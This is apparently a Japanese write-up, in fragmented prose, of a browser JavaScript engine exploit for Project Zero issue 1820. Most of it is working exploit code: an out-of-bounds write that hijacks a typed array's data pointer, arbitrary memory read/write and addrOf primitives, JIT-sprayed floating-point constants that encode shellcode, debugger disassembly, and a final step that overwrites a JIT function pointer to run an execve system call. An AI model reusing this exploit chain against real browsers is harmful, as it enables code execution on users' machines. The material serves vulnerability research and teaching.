
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
バグ: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820


exploit.js - 実際のエクスプロイト、saeloのutil.jsとInt64.jsが先頭に付加されています。stager.js - 定数を作成するために使用され、saeloのutil.jsとInt64.jsが先頭に付加されています。stager.py - keystoneを使用して命令をアセンブルするために使用されます。出力はstager.jsに渡されます。setup()内で行われます)。const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // この[:8]を使用して、以下の配列のデータポインタを制御します
new Uint8Array(0x10), // 任意の読み書き配列
]
exploit_pack[0]のバッキングバッファを超えて書き込み、exploit_pack[1]のデータポインタフィールドに書き込みます。それをexploit_pack[2]のデータポインタフィールドのアドレスに設定します。 // setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
exploit_pack[1]の内容として設定でき、これにより内部的にexploit_pack[2]のデータポインタが変更されます。その後、exploit_pack[2]を使用してメモリの読み書きを行います。function read(ptr) {
read_addr = new Int64(ptr);
// exploit_pack[2]のデータポインタを変更
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// ポインタの0xfffeを除去
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// exploit_pack[2]のデータポインタを変更
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
exploit_pack自体を使用して、addrOfプリミティブを構築します。function addrOf(obj) {
exploit_pack[3] = obj;
// exploit_pack[2]のデータポインタを変更
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// ポインタの0xfffeを除去
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
r-xページに強制的に配置できます。const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
0xdeadc0debaadが見えます。
gef➤ disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
0x0000085a6e604531: 49 bb 80 ad ba de c0 ad de 07 movabs r11,0x7deadc0debaad80
0x0000085a6e60453b: 4c 89 5d a8 mov QWORD PTR [rbp-0x58],r11
0x0000085a6e60453f: 49 bb c0 48 8b 44 24 28 eb 07 movabs r11,0x7eb2824448b48c0
End of assembler dump.

gef➤ disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
0x0000085a6e604542: 48 8b 44 24 28 mov rax,QWORD PTR [rsp+0x28]
0x0000085a6e604547: eb 07 jmp 0x85a6e604550
End of assembler dump.
4c 89 5d XX 49 bb 00バイトを回避することです。相対jmpを使用してこれらのバイトを飛び越えます。$ rasm2 -a x86 -b 64 "jmp 7"
eb05

execveシステムコールのためにレジスタに以下のものが必要です。rax: システムコール番号
rdi: プログラムのパス
rsi: argv
rdx: envp
mov命令は、スタック上のオフセットから該当するレジスタに値を移動するのに最適です。正確に5バイトです。$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
そこで、定数を構築できます。stager.py -> stager.jsを参照して、それらがどのように生成されたかを確認してください。
オブジェクト構造内の実際のJIT関数ポインタを上書きし、オフセットで置き換えるだけです。パラメータを指定して関数を呼び出します。
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());